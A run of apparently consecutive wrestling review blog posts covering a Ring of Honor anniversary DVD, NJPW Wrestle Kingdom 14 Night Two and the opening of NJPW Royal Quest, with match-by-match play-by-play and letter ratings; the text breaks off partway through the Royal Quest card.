Rating: C+. Perfectly watchable match here, though it’s weird seeing Briscoe waiting to break through to the next level instead of being one of the biggest stars the company has ever seen. The match was good enough action and I’ve always liked Brown so we’ll call it a learning experience for Jay, which you have to have at one point or another.

Post match Mark yells a lot, both at the referee and Brown. Jay isn’t pleased either.

Tag Team Titles: American Wolves vs. Kevin Steen/El Generico

No DQ and the Wolves, with Sara Del Ray and Shane Hagadorn in their corner. The champs hit the ring in a hurry (chasing off the ring announcer mid introduction. Steen hits a Cannonball to Edwards, followed by the yet to be named Helluva Kick. The Wolves are on the floor so Steen hits a big dive as I don’t think the bell ever rang. Generico throws some chairs into the ring and then throws Davey into the barricade. They get inside and it’s a drop toehold to send Eddie face first into the chair.

Steen puts another on the back of Eddie’s head for a running flip legdrop. Generico’s running flip dive only hits chairs and Davey Tombstones him onto the chairs (more like a Tombstone into a powerslam but close enough). It’s time to start in on Owens’ knee as thankfully they aren’t bothering with tagging in a No DQ match. There’s a dragon screw legwhip to take the knee out again and some kicks to the ribs to keep him in trouble. Richards grabs a title and says they’re the next champs, which is enough to bring Steen back to life.

Granted he is knocked right back down, but at least he was up for a second. Steen low bridges both of them to the floor though and it’s Generico hitting a double springboard flip dive to take everyone out. That means the OLE chants start up again, even as Generico hits Eddie in the ribs with a chair. Instead of the rope walk armdrag, Generico drops down and pelts the chair at Eddie’s head. Well that was effective.

A splash out of the corner gives Generico two….and it’s time for a ladder. Hagadorn: “THAT IS CROSSING THE LINE!” Generico’s split legged moonsault onto Davey onto the ladder gets two and Steen limps around to pick the ladder up again. The ladder is set up against the rope but Eddie kicks Steen in the face. Generico kicks him down but the springboard flip dive hits the ladder.

Eddie throws Generico into the air for a kick to the chest and a chair to the head into a German suplex with a flipping jackknife cover gets two with Steen lightly shoving the Wolves for the pin. Back up and Steen powerbombs Davey out of the corner and suplexes Eddie into the corner. The Cannonball hits both Wolves at once and Sami goes Coast to Coast with a springboard flip dive into a ladder for two of his own.

Rating: B+. Now that was a surprise as I would have bet on the Wolves taking the titles here. That’s one of the fun parts about watching these older shows without knowing the results: you get a surprise ending like this and have a cool moment which could just as easily have been spoiled. These four beat the heck out of each other with some good violence so the idea of Steen returning the favors on the knee and winning the match as a result was a great way to finish things off. This was a lot of fun and I can see why the tag division was well received for a long time.

Post match the champs pull themselves up but the Wolves jump them again. Eddie chairs Steen in the head and a belt shot drops Generico. The Wolves put Generico through the table hard but the bloody Steen is back up. That doesn’t last long either as they tape him to the ropes and chair away at the knee, followed by a Conchairto to knock him silly. The Wolves pose with the belts and the champs are destroyed. It takes a good while to cut Steen free and he has to be carried out of the arena. The Wolves would win the title the next month.

Buy All Star Extravaganza with Bryan Danielson vs. Jerry Lynn! And some other stuff!

We recap Kenta vs. Nigel McGuinness for the ROH World Title. Kenta pinned him in a tag match and gets a title shot as a result (or he might have already had it). If there is anything else, it isn’t important enough to show here.

Ring of Honor World Title: Kenta vs. Nigel McGuinness

Nigel, with a bad arm, is defending and has the title on backwards as is his custom. We get the Big Match Intros and we’re ready to go. Kenta takes him up against the ropes and slaps him in the face, which doesn’t set well with Nigel. Nigel tries to do the same but gets slapped again. A kick to the arm takes Nigel down but he is back up with a headbutt. The big lariat is loaded up, which only hurts the arm again. Nigel is sent shoulder first into the post and it’s off to a logical armbar. That’s broken up so Kenta hits some kicks to the arm and head, with Nigel telling him to bring it on.

Kenta does just that and Nigel goes down in the corner, as you might have expected. Nigel slips out of a Kimura by getting to the rope so it’s time for more kicks. Kenta misses a top rope stomp to the head though and it’s a Tower of London (hanging cutter) to the floor. Back in and Nigel kicks him between the shoulders and an arm wrench takes Kenta down. Nigel slowly strikes away, including some headbutts to Kenta’s arm.

A suplex by the arm gives Nigel two and it’s off to the crossface chickenwing. Nigel takes him down with a dropkick but bangs up the arm on the landing, meaning the near fall is delayed. More arm cranking ensues with Nigel bending backwards into kind of a makeshift Rings of Saturn. Kenta fights up again and hits a running boot to the chest, followed by a not very snappy suplex. There’s the keylock again but Nigel makes the rope for the pretty fast save.

The running boot in the corner misses though and Nigel kicks him down. Another kick to the chest cuts off Nigel’s charge so Kenta goes up top, only to get knocked outside in a big crash. Kenta misses a big boot against the barricade and hits his own to knock Nigel over the barricade. Nigel is draped over the barricade for the BIG double stomp to the back and they’re both down again. It takes Nigel a long time to get back in and Kenta hits a fisherman’s buster for two.

The running knee (which Daniel Bryan copied) gives Kenta two more and it’s off to a pinfall reversal sequence. Nigel gets the London Dungeon (Zack Gibson’s Shankley Gates….which you might know better as a seated armbar) but Kenta backs to the rope. Another Tower of London drops Kenta for two but he blocks a third attempt. Instead Kenta runs the ropes for a super Falcon Arrow for a very near fall. The Go To Sleep is countered so Kenta settles for a heck of a bridging German suplex for two.

Go To Sleep connects on the second attempt for a very close two with Nigel getting a foot on the rope. They go to the floor with Nigel hitting (mostly) another Tower of London to the apron/floor. Back in and another Go To Sleep is blocked so Nigel hits his own Go To Sleep for two more. The London Dungeon goes on again but Nigel lets it go to pull him back to the middle. That lets Kenta roll him up for two but another Go To Sleep is blocked. It’s back to the London Dungeon but this time Nigel bends backwards to put Kenta’s back over his knees, this time for the tap at 26:20.

Rating: A. This was GREAT as they beat the heck out of each other for the better part of half an hour. Commentary pushed the idea that Nigel was practically wrestling without arms so he had to come up with another way to hang onto the title, including a submission that involved using his hands and knees. Kenta was a monster here too with the strikes looking great. I don’t know how they screwed him up in NXT but it must have been an amazing series of injuries. They pulled off a heck of a trick here by sucking me into a match where I already knew the ending. Check this one out because it’s really great stuff.

Kenta gets the big applause as commentary thanks the fans for the last seven years to end the show.

We’re not quite done though as the DVD includes the ROH Video Wire, which is a collection of bonus videos.

From March 13 in Collinsville, Illinois.

Here’s Ric Flair for a special appearance….or at least his entrance as we cut off after about thirty seconds.

We see some highlights from a show on March 18.

Back to Collinsville with Jimmy Jacobs vs. Delirious. Jacobs says Delirious has failed him for the last time and pulls out the spike, which hits Daizee Haze instead. Delirious blocks the spike to his own head and stabs Jacobs instead. We’re clipped to Delirious hitting a bunch of running knees to the head in the corner before stopping to stare at Daizee. They have the big hug and the fans certainly seem to approve.

Nigel McGuinness is ready for a tag match between himself/Davey Richards vs. Kenta/El Generico, which would have been the night before the Anniversary Show.

From Indianapolis, Indiana on March 14, Bison Smith beats up Bryan Danielson with referees and agents having to separate them.

Claudio Castagnoli talks about Brent Albright wanting to step up his game but getting kicked in the face like a stupid American.

From the same Indianapolis show, the American Wolves jump Kevin Steen and El Generico but get chased off by someone with a chair.

The American Wolves promise to take the Tag Team Titles from Steen and Generico at the Anniversary Show.

Kevin Steen and El Generico are ticked off at the Wolves, with Steen saying someone else injured his knee eight years ago. He’ll be back up for the fight though because hurting his knee isn’t going to stop him.

That was a rather random assortment of videos and it felt a lot more like a commercial for the Video Wire than something that really added much to the show. It’s hardly anything that brings it down though either, making it pretty much a meaningless bonus feature.

Overall Rating: B+. There is a reason that this version of Ring of Honor is held in so much esteem and it was on display here. This was a heck of a show with the last two matches cranking it up to another level. It was a bit long at times and there are some matches which could have been trimmed a good bit, but I had a really good time with this and it was one of the better ROH shows I’ve ever seen. I could go for more from this period and that’s not something I get to say very often. Check this one out if you have the chance.

 

 

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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Wrestle Kingdom 14 Night Two
Date: January 5, 2020
Location: Tokyo Dome, Tokyo, Japan
Attendance: 30,063
Commentators: Kevin Kelly, Chris Charlton, Gino Gambino

It’s the second of two nights here and that means we’re in for the real main events of the whole show. This time around it’s going to be about the World Title again as Tetsuya Naito tries to get back to the top against champion Kazuchika Okada. Other than that, it’s Jushin Thunder Liger’s retirement match and that’s going to be an emotional one. Let’s get to it.

Here are Night One’s results if you need a recap.

As usual, I don’t follow New Japan incredibly closely so there is a good chance I won’t know every storyline point of the show. Please bear with me as I’m mostly going off what commentary tells me.

Never Openweight Six Man Tag Team Titles: Gauntlet Match

Five team gauntlet with the Most Violent Players (Togi Makabe/Toru Yano)/Ryusuke Taguchi defending and entering last. Bullet Club (Bad Luck Fale/Yujiro Takahashi/Chase Owens) is in at #1 and Chaos (Tomohiro Ishii/Yoshi-Hashi/Robbie Eagles) in at #2 to get things going. Chaos jumps them before the bell and the fight is on in a hurry. Fale loads up a Razor’s Edge but Hashi slips out and it’s time for the rapid fire superkicks on the monster.

A running clothesline puts Fale down and the rapid fire offense continues. The Club gets smart by focusing on Ishii but Eagles is right back to wreck things. Owens actually wins a slugout with Ishii off a clothesline and a jumping knee to the head but Eagles is back in for the save. The clothesline and brainbuster give Ishii the pin on Owens for the first elimination at 3:40.

Suzuki-Gun (Taichi/Yoshinobu Kanemaru/El Desperado) are in at #3 and the brawl is on in a hurry again. Ishii gets caught alone and tries as much as he can but eventually gets kicked down, setting up a spear from Desperado. Eagles and Hashi come back in for the save but it’s Taichi taking off his pants (no Garza, no all caps) to….well very little really.

Ishii clotheslines him down but can’t follow up as they actually bother to go with the tagging for a change. Granted it lasts all of ten seconds but it did in fact happen so we can call these Tag Titles. In the chaos (pun….yeah we’ll say intended), Eagles rolls up Kanemaru for the pin at 8:32.

Los Ingobernables de Japon (Evil/Shingo Takagi/Bushi) are in at #4 and of course they brawl in a hurry again. Eagles spinwheel kicks Bushi but Bushi is back with a dropkick and a Spinarooni back up to take over. We settle down to Evil taking Eagles down into the corner for the Bronco Buster and a near fall. Shingo gets caught in a snapmare driver (cool) and it’s back to Hashi to pick up the pace.

A running dropkick to the back gets two on Shingo but he’s back up for the slugout with Hashi. Ishii and Evil come in for the slugout and Ishii’s bad night continues as Hashi has to make another save. Everything Is Evil is broken up and Ishii nails a headbutt. Instead it’s Darkness Falls to finish Ishii at 16:00 (with some confusion as to whether it was two or three).

Ishii keeps brawling with Evil as the champs are in at #5 to complete the field. Yano wastes no time in trying the rollups so Bushi kicks him in the head. Serves him right. Shingo gets two off a suplex and it’s Bushi coming back in to work on the nerve hold. That’s broken up and Makabe comes in to start the hard hitting.

Makabe and Shingo slug it out this time with Makabe getting the better of the clothesline off. Taguchi comes in for the rolling suplexes and a double chickenwing faceplant gets two on Shingo. The ankle lock is broken up and Bushi gets in a mist shot, setting up Made In Japan (pumphandle driver) to give Shingo the pin and the titles at 23:25.

Rating: C-. I’ve never been a fan of these matches but I get the point of them. I’d rather see these than the multiple eight man tags, which do little more than filling in time on a long show. These titles certainly don’t mean very much, but they’re something that exist and a way to get a bunch of people on the show. It’s a fun opening, though dropping a team might have been nice.

The opening video is the usual card rundown format and it does its usual good job of making me want to see the show.

Ryu Lee/Hiromu Takahashi vs. Jushin Thunder Liger/Naoki Sano

This is Liger’s retirement match, Sano is one of his oldest rivals, and Yoshiaki Fujiwara (yes THAT Fujiwara and Liger’s trainer) is here as well. Lee is better known as Dragon Lee and has the ROH TV Title with him. Takahashi looks near tears as Liger makes his big entrance. I’m not even the biggest Liger fan (respect him but he hasn’t had a big impact on me as a fan) but this is an incredible moment.

Liger and Takahashi lock up to start with the ropes giving us a break. It works so well that they do it again, followed by Liger pulling him into the surfboard (it’s nice to see him playing the hits one last time). Lee comes in but Tanahashi knocks Sano off the apron and Liger gets beaten down in a rather heelish act. We settle down to Lee cranking on both arms at once, setting up Tanahashi’s Fujiwara armbar.

Liger tries to come back with chops but gets chopped right back down, only to have Liger snap off the tilt-a-whirl backbreakers. Sano comes in to kick away so Lee takes off his shirt and starts the slugout. Liger and Tanahashi take their places for their own slugout with Tanahashi getting the better of it. A powerbomb brings Tanahashi out of the corner though and it’s time to slap away at the back of Tanahashi’s head.

Lee’s big running flip dive hits Tanahashi by mistake and it’s Liger getting two off a powerbomb. A Shotei drops Tanahashi for two with Lee making the save and hitting a suicide dive on Sano. Tanahashi’s Falcon Arrow gets two on Liger and it’s a pair of running knees to the head for the same. The Time Bomb is countered into a sunset flip for two on Tanahashi, who is right back up with a running clothesline. Now the Time Bomb connects to retire Liger for good at 12:18.

Rating: C. Just like yesterday, this wasn’t about the wrestling at all and was all about the moment and the big feeling. That’s all it was supposed to be and there is something appropriate about Liger’s career ending with something involving time running out. Liger is a legend of the highest degree and there’s nothing I can say that will make this appropriate enough. I’m very glad he got this kind of a moment and him going out on his back to a young up and comer is as logical as it gets for him. Not even a bad match either.

The video cuts out a bit and we’re clipped to Liger and Sano walking up the aisle, posing with Fujiwara, and leaving like it’s any other match. That seems to fit him in a way.

Junior Heavyweight Tag Team Titles: Roppongi 3K vs. Bullet Club

The Club (El Phantasmo/Taiji Ishimori) are defending and Rocky Romero is with the challengers. 3K jumps them before the bell with a double dropkick to the floor, setting up the big flip dive to take the champs down again. Back in and the champs are beaten up again, meaning it’s already time for a breather on the floor. We settle down to Phantasmo kneeing Sho in the back to put 3K in trouble for a change.

Ishimori’s sliding German suplex drops Sho again and there’s a knee to the back to make it worse. Phantasmo walks the ropes for a moonsault back rake (that’s a new one), setting up a Lionsault on Sho and a suicide dive on Romero to really rub it in. Sho gets tied in the Tree of Woe and that means some sliding dropkicks to the face and a double standing on the crotch. Yoh gets tied in the same corner for a double crotch stomp but Sho gets in a spear for a breather.

The hot tag brings in Sho to send both champs to the floor for the dive onto both of them. Back in and Ishimori hits a springboard spinning kick to the face but Sho is right back up with rolling German suplexes, including one to both champs at once. Phantasmo is back up with a spinning torture rack neckbreaker to give Ishimori two more.

The champs try their own version of 3K (3D) but Sho reverses into a Canadian Destroyer to plant Phantasmo instead. Ishimori and Yoh are knocked outside, leaving Phantasmo to hit a Styles Clash for two on Sho. Romero breaks up a belt shot so Phantasmo hits Sho low….to no effect because there’s a cup in play. A piledriver into a dragon suplex drops Phantasmo and a spike arm trap piledriver gives us new champions at 14:10.

Rating: B-. It’s so weird as I couldn’t stand 3K when they were the Tempura Boyz in Ring of Honor and now they’re some of the most consistently entertaining guys in this company. They’re very smooth in the ring and feel like stars instead of coming off as annoying guys who just happen to be there because New Japan tells them to. Good match here and I had another good time, as I always do with 3K.

Post match Romero celebrates with them, seemingly as the mastermind behind the cup idea.

We recap Zack Sabre Jr. defending the British Heavyweight Title against Sanada. Sabre is a cocky yet incredibly talented champion but Sanada has beaten him a few times to set this up. Sanada has never won a singles title in NJPW and wants to prove himself, even though it’s the Rev Pro Title.

British Heavyweight Title: Sanada vs. Zack Sabre Jr.

Sabre is defending and starts in on the arm as he is known to do. Sanada keeps flipping out of the armbar so they head to the mat and wind up with a staredown, as seems appropriate. A quick pinfall reversal sequence barely gets a one apiece and it’s another standoff as they seem evenly matched, which doesn’t sit well with Sabre.

Sanada gets pulled down into a crossarm choke but reverses into one of his own as Sabre just can’t take over here. Sabre bails to the floor and needs a breather as Sanada is in his head here. Back in and Sabre can’t even keep an abdominal stretch as Sanada reverses into one of his own, only to have Sabre crank on both arms at once with the modified Rings of Saturn. That’s broken up with a boot on the ropes but Sabre has his confidence back. Sanada kicks the leg out and twists the knee around for a bonus.

Sabre bails to the floor so Sanada follows with a slingshot dive, setting up Skull End back inside. The moonsault misses so Sabre kicks him in the head, only to bang up the leg even more. They go back to the pinfall reversal sequence for some near falls until Sabre gets two off the European Clutch. That’s countered into the dragon sleeper but Sabre flips up again, this time into another European Clutch to retain at 12:33.

Rating: B. I wanted more from this one as their counters were getting awesome in there. Sabre continues to be one of the most entertaining people in all of wrestling as he can just do whatever he wants out there and make it look as smooth as anyone ever has. I’m not sure I wouldn’t have had Sanada take the title here, but I’m not going to argue watching Sabre do something like that because he’s just so awesome at what he does.

US Title: Juice Robinson vs. Jon Moxley

Moxley is defending and I’ll only mention him as a champion despite Juice being half of the Tag Team Champions. This is a pretty long time coming as Moxley initially targeted Robinson and won the title last year. This is the rematch after Moxley lost and regained the title thanks to weather and at the expense of Lance Archer. Robinson jumps him to start (a common theme tonight) and sends Moxley into the barricade before he can even get inside.

Moxley sets up a chair at ringside and gets sent face first into it because that’s how chairs work around the world. They get in for the first time with Moxley sending him over the top again, meaning the chairs can work this time. Back in and Moxley hammers away, bows to the referee for daring to suggest that’s not fair, and then puts on a camel clutch. That’s broken up so Moxley drops a running elbow for two but Robinson is back up with a powerbomb for his own near fall.

The Juice snap jabs are cut off in a hurry with Moxley slapping on a Figure Four. That’s broken up in the traditional way so Moxley wraps the leg around the post a few times. The Hart Breaker goes on for a few seconds (as it tends to do) but Moxley would rather put a chair around Juice’s neck.

A running shot with a chair is cut off by a left hand and Robinson gets two off a Jackhammer. Pulp Friction is countered into a release German suplex but the Death Rider is countered into a rollup to give Juice two. Moxley tells Juice to hit him and the slugout is on again. Moxley’s running knee just fires Juice up enough for some hard left hands. Pulp Friction is countered again though and it’s the Death Rider to retain the title at 12:49.

Rating: C+. These two hit each other rather hard and I’m still surprised by how much better Robinson is. I know I see that every year but I still see CJ Parker in him at times, which is cleared out as soon as I watch his matches. You can see how much more fun Moxley is having here though and that’s what matters most for him. He just wasn’t clicking in WWE at the end and Moxley seems a lot more appropriate for him than Dean Ambrose.

Post match here’s Minoru Suzuki to go after Moxley and the fight is on. Suzuki grabs the Gotch style piledriver and talks about how he’s the king of pro wrestling, plus the king of the United States. This would be your HOKEY SMOKE THEY’RE REALLY DOING THIS moment of the show and it’s working as usual.

We recap Kenta vs. Hirooki Goto. Kenta is the horrible jerk who has been needling Goto for not being tough enough. Goto wants to fight him for honor and the title.

Never Openweight Title: Hirooki Goto vs. Kenta

Kenta is defending and gets jumped before the bell as Goto is not playing around here. A bunch of shots to the back get two and we hit the chinlock early. Kenta is back up with a kick to the face and some whips into the barricade to put Goto in trouble for a change. A DDT on the ramp knocks Goto silly for a nineteen count so Kenta throws him outside again.

This time Goto is back in for a kick to the back and a Too Sweet sign, setting up a chinlock. Kenta calmly kicks away and shrugs a bit, only to walk into a discus clothesline. They trade forearms in the corner until a HARD forearm drops Kenta in a heap. Kenta is back up with a powerslam and the tornado DDT throat snap across the top. More kicks to the head fire Goto up so Kenta plants him with another DDT.

Goto comes back with the fireman’s carry backbreaker, only to get pulled into the LeBell Lock. A rope is reached so Kenta drops him with a hanging DDT (popular move in this match). The running knee connects for two but Kenta can’t hit Go To Sleep (this guy is a create a wrestler come to life) so Goto headbutts him down. They take turns screaming at each other after some clotheslines but it’s Goto reversing a slap into a failed GTR attempt. GTW connects for two on Kenta instead so now it’s the GTR to win the title at 16:14.

Rating: B-. This was a rather surprising one as Kenta was best known as the one with no personality in NXT but here he was a great heel and I wanted to see him get punched in the mouth. Goto has never been my favorite but it was nice to see him fight like this. Good match as Kenta impressed far more in one match than he did in almost his entire NXT run.

Here are the upcoming big shows, including the G1 Climax, which is being moved to October due to the Olympics.

Jay White vs. Kota Ibushi

Basically the third place match in the Double Gold Dash and White has Gedo with him. White heads to the floor to start, as is his custom, so Gedo can offer a distraction. That doesn’t work either as Ibushi catches the invading White with kicks tot he ribs and a standing moonsault for two. White scores with some forearms though and an ax handle knocks Ibushi off the apron and hard into the barricade.

Another whip sends Ibushi chest first into the barricade to make it even worse and it’s time to choke back inside. The chinlock makes it worse, as White gets in some trash talk for a bonus. Ibushi fights up though and snaps off a hurricanrana to the floor, meaning it’s a big slingshot dive for a bonus. Back in and a springboard missile dropkick connects as Ibushi starts getting more comfortable with the high flying.

White grabs a DDT and Death Valley Driver for two each but Ibushi is fine enough to hit a kneeling Tombstone to put them both down. Ibushi knocks him into the corner and gets that serious look on his face as this is about to get more violent. A forearm knocks White down so Ibushi pulls him up so White can get in his own forearm. White’s shot has no effect as Ibushi knocks him back down even harder.

Ibushi charges into a Downward Spiral though and a German suplex knocks him sillier. The Kiwi Crusher gets two and a snap Saito suplex puts Ibushi on his head again. With Ibushi half out of it, White completes the knock out with a super swinging Rock Bottom. Just being knocked cold doesn’t matter around here though as Ibushi is right back with a V Trigger for the double knockdown. A bridging German suplex gives Ibushi two and there’s Kinshasa for the same.

White pulls him into the referee though, because White matches have a lot of screwiness. Gedo’s chair shot has no effect on Ibushi and a single shot to the chest drops him. The sitout Last Ride knocks White silly for no count because the referee is still down. The big knee looks to finish but Gedo pulls the referee at two. Gedo tries to bring in some brass knuckles but it’s a ruse for White to hit Ibushi in the face with a chair. That and the brass knuckles shot have Ibushi down and it’s the Blade Runner to give White the pin at 24:58.

Rating: B-. I wasn’t feeling this one as much and seeing Ibushi lose again took something out of the show. Ibushi can go to a different level when he hits that point when he feels like a force of nature but then he just lost again, this time to a bunch of cheating that felt out of place in New Japan. I keep thinking Ibushi will get his chance but losing twice in a row at Wrestle Kingdom doesn’t give me the most confidence.

Post match White hits another Blade Runner just to be evil.

We recap Chris Jericho vs. Hiroshi Tanahashi. There isn’t much of a story here, as Jericho just showed up to challenge Tanahashi to the latest dream match. Tanahashi accepted, Jericho attacked him, and then offered Tanahashi an AEW World Title shot if Tanahashi could win.

Hiroshi Tanahashi vs. Chris Jericho

Non-title. Jericho’s not great physique is on full display here but with that kind of star power, what difference does it really make? They trade poses to start and circle each other a bit before it’s a trip to the mat. That means a staredown, so Tanahashi throws in some air guitar to mess with the rock star. Tanahashi works on an armbar and cranks away, setting up the middle rope spinning crossbody to put Jericho down. Tanahashi even does the ARROGANT COVER with a COME ON BABY!

Jericho doesn’t stand for gimmick infringement and throws Tanahashi outside for a whip into the barricade. A DDT onto an announcers’ table makes it even worse as Jericho is in full on brawling mode (which is quite the positive). Back in and Jericho drops a middle rope knee for two and a butterfly backbreaker messes with the back some more. Jericho goes up top, plays his own air guitar, and misses a frog splash. The comeback is on with a flying forearm to Jericho, but he pulls the referee in the way of a splash in the corner.

Jericho gets in a low blow and a whipping with the weightlifting belt as commentary is finally back after Jericho cleared them out earlier. Tanahashi avoids a charge in the corner and hits the middle rope flip splash for two. With Jericho down on the floor, Tanahashi hits a high crossbody and they’re both in need of a breather.

That’s only good for a nineteen on Jericho and it’s a dragon screw legwhip over the rope on the way back in. More legwhips have Jericho in big trouble but he gets the knee up to block the High Fly Flow. The Lionsault connects but the banged up knee means it’s only good for two. Jericho grabs the Walls and cranks back, only to have Tanahashi crawl through the legs to escape.

A Sling Blade looks to set up a high crossbody but Jericho pulls him into the Codebreaker for two more. The Judas Effect misses though and Tanahashi hits his own Codebreaker for his own two. Jericho gets the Walls again but this time it’s reversed into Twist and Shout. Another Sling Blade gives Tanahashi another two and the high crossbody connects, only to be reversed into the Walls to make Tanahashi tap at 22:27.

Rating: B+. I know Jericho is older and not in quite the shape that he used to be in but sweet goodness he can still have a heck of a match with the right opponent. Maybe that is due to the atmosphere or just the amount of star power that Jericho can bring but it works very well. These two beat each other up and I wanted to see if Tanahashi could pull it off. Jericho feels like a legend (which he is) and that shows very strongly on the big stage.

We recap the title for title main event. Tetsuya Naito has been World Champion before and is now back to prove he can do it again and claim his destiny as the star of the company. Kazuchika Okada is the greatest World Champion ever though and Naito has to overcome a lot of history (losing the title to Okada in his first defense, having his World Title match be voted as the main event) to reach the top again. It’s actually a heck of a story and commentary explains the whole thing rather well.

IWGP Heavyweight Title/Intercontinental Title: Kazuchika Okada vs. Tetsuya Naito

Title for title and Naito is serious tonight with the white suit. They stare at each other for a good while and there is no contact for the first two minutes. A lockup goes into the corner and Okada taps him on the chest. Okada takes him down with a running elbow but they’re still firmly in first gear. A DDT gives Naito one and we hit a pretty quickly broken chinlock. Naito slugs away and hits a running dropkick to the back, setting up a slingshot dropkick in the corner.

A neckbreaker off the apron to the floor drops Okada again and a regular version gets two back inside. Naito wraps his legs around Okada’s shoulders to crank on the neck even more, followed by a cravate to stay on it. Okada boots him down and hits a flapjack, setting up White Noise onto the knee. A top rope elbow gives Okada two but it’s way too early for a Rainmaker.

Naito is back with a spinebuster but Okada is right back up with a running dropkick to put them both down. It’s Naito getting up first and heading to the top, meaning Okada dropkicks him right back out to the floor. Naito’s knee goes into the barricade and it’s banged up pretty badly, calling back to the injury it took last night. Naito drops him knee first onto the announcers’ table as well and Naito has to dive back in.

Okada is ready with a missile dropkick for two but Naito uses the good knee to hit a springboard tornado DDT. A super reverse hurricanrana gives Naito two more but Okada blocks Destino as things crank up a lot. Destino is blocked again and Okada hits a dropkick, only to have Naito grab Destino for two.

Another dropkick gives us a double knockdown and we have a chance to look at the title belt. They slug it out from their knees and then from their feet with Naito not backing down an inch. Okada hits a discus lariat for two and it’s the jumping Tombstone into the Rainmaker for two. The frustration is setting in so Okada starts ramming the knee into the mat.

Okada grabs the wrist and hits some clotheslines (Rainmakers, without the spin or the big step, because again, it’s a clothesline) but the big version is countered into Destino for two more. A corkscrew moonsault gets two on Okada and they’re both down again. Destino is countered so Naito drops him on his head, setting up Destino for the pin and the title at 35:40.

Rating: A. You might remember earlier when I said that I didn’t know a lot of the stories coming into this show. This match, with commentary helping, showed me exactly what they were going for and I wanted to see Naito pull it off. He seems more compelling than Okada, who is an incredible performer but we’ve seen him do this for so long now. It’s an outstanding match and I got into the drama though, which says a lot given how little I knew coming in. Outstanding storytelling here with some great action included.

Post match they both stagger up and Okada is helped to the back. Naito grabs the mic and offers a rematch, with Okada raising his fist up. Naito is presented with both belts and says he knows what he’ll do with them. I think he says a catchphrase before promising to move forward into the future. He puts over Los Ingobernables….and Kenta runs in to jump him and ruin his moment, sending commentary completely over the edge. Kenta lays him out and sits down on Naito’s chest to pose with the belts. Cue Bushi to chase Kenta off, sending Kenta up the aisle to taunt the fans as Naito is helped out to end the show.

Overall Rating: A-. I’m not even surprised at this show being great anymore. I’ve gotten used to these guys tearing the house down when the lights are on bright and that’s what they did again here. There might not have been as many blow away matches as in previous years, but this show felt huge and that’s it lived up to its hype. Definitely see the main event as it’s the best storytelling I can remember seeing from New Japan and one of the only times I felt like I got the long, epic story they were going for (not their fault as it’s designed to be built over years, not with a single show a year).

This felt more like a Wrestle Kingdom and made me think that we didn’t need the two night structure. While there was some great wrestling on Night One, it felt like a show that didn’t need to exist to do Night Two, which is where the important stuff all paid off. They’re both outstanding shows and worth watching, but this is the only one that you need to watch. What mattered most was how big it felt though and that’s where Wrestle Kingdom tends to shine.

As usual, I won’t be watching the company full time but this has been must see wrestling for a long time now and I don’t see that changing. It could be interesting to see where Naito can take the company long term, though you can almost guarantee Okada will get the belt back as he has a long, long career ahead of him. Couple the great main event with the emotion of the Liger finale and this hits on multiple levels. Check it out, plus one or two matches from Night One.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Royal Quest
Date: August 31, 2019
Location: Copper Box Arena, London, England
Commentators: Kevin Kelly, Gino Gambino

So this is a New Japan show and their first ever independently promoted event in the UK. That could mean a lot of things, but hopefully it means a good show. Since we already have multiple major events today with Takeover: Cardiff and All Out, I might as well just complete the trilogy. The main event here is Kazuchika Okada defending the IWGP Heavyweight Title against Minoru Suzuki with a lot of fans wanting to see a title change. Let’s get to it.

The opening video talks about the fallout from the G1 Climax and how it’s time to take over Europe.

Card rundown with the bigger matches getting the extra attention they deserve.

Roppangi 3K vs. Ryusuke Taguchi/Shoto Umino/Ren Narita

The fans are rather behind Taguchi here though unfortunately we don’t get the big zoom in shot at the opening bell. Yoh and Umino get things going for some early grappling and that’s an early standoff. Umino kicks him in the face but can’t get a slam as the fans are behind Umino, mainly due to him being associated with Jon Moxley. Everything breaks down early on with Taguchi and Romero both cleaning house. That earns Romero a song from the crowd, which sounds so out of place in a New Japan show. Sho rolls Umino up for two but Umino is right back with a suplex, setting up the hot tag to Taguchi.

A bunch of hip attacks, including one from the top, ensue but Romero comes in for the forever lariats. They’re cut off by another hip attack and it’s back to the Young Lions for some double teaming. The Boston Crab doesn’t last long on Sho and it’s time for the parade of kicks to the head. Sho and Yoh are sent into each other and Narita gets two off a victory roll. Sho’s German suplex gets two, followed by Project Ciampa to finish Umino at 8:19.

Rating: C. Perfectly fine opening match with the fans loving Romero and Taguchi as always, even if I’ve rarely (though not never) seen much in them. That’s a good way to start the show: give the fans something fun that is going to energize them for later. Tag matches, either of the four or six man variety, work just fine in that regard and the crowd is now properly energized.

Kota Ibushi/Juice Robinson vs. Yujiro Takahashi/Hikuleo

Takahashi and Hikuleo are Bullet Club and it’s Ibushi and Hikuleo starting things off. Hikuleo throws the smaller Ibushi down to start and mocks him a bit, only to have everything break down. Robinson sends Hikuleo into the corner for a Cannonball but Hikuleo is right back up with a backsplash for two on Ibushi. Takahashi comes in for a legdrop as the fans are behind Ibushi, as you probably expected.

Ibushi is right back up and brings in Robinson to pick up the pace, including a dive to take out Hikuleo. A spinebuster does the same to Takahashi but he’s right back with a fisherman’s suplex for two on Robinson. The Juice Box (Codebreaker to the chest) is enough to bring Ibushi back in but he charges into a powerslam from Hikuleo. The Club is dominating so far, which you might not have expected against a team like Ibushi and Robinson.

Ibushi’s strike rush gets him out of trouble but Hikuleo cuts him off again, this time with a Samoan driver for two. Takahashi comes back in so Ibushi hits a double Pele, followed by a victory roll for two on Hikuleo. A running knee to the face sets Kamigoye (knee to the face) for the pin on Hikuleo at 8:46.

Rating: C. This worked just fine with both teams looking good. Ibushi wasn’t about to lose so soon after winning the G1 so the Club came off more like obstacles for him to get past rather than people who were going to give him an actual run for his money. That’s perfectly fine for a match like this as it came off as a way to get Ibushi (and Robinson) on the card.

Will Ospreay/Robbie Eagles vs. Taiji Ishimori/El Phantasmo

Ishimori and Phantasmo’s (Bullet Club) IWGP Junior Heavyweight Tag Team Titles aren’t on the line. Phantasmo is the British Cruiserweight Champion and Ospreay is the IWGP Junior Heavyweight Champion. Eagles used to be in Bullet Club but Phantasmo turned on him, sending him over to Chaos. Ospreay and Eagles are part of Chaos and of course Ospreay gets a ROAR.

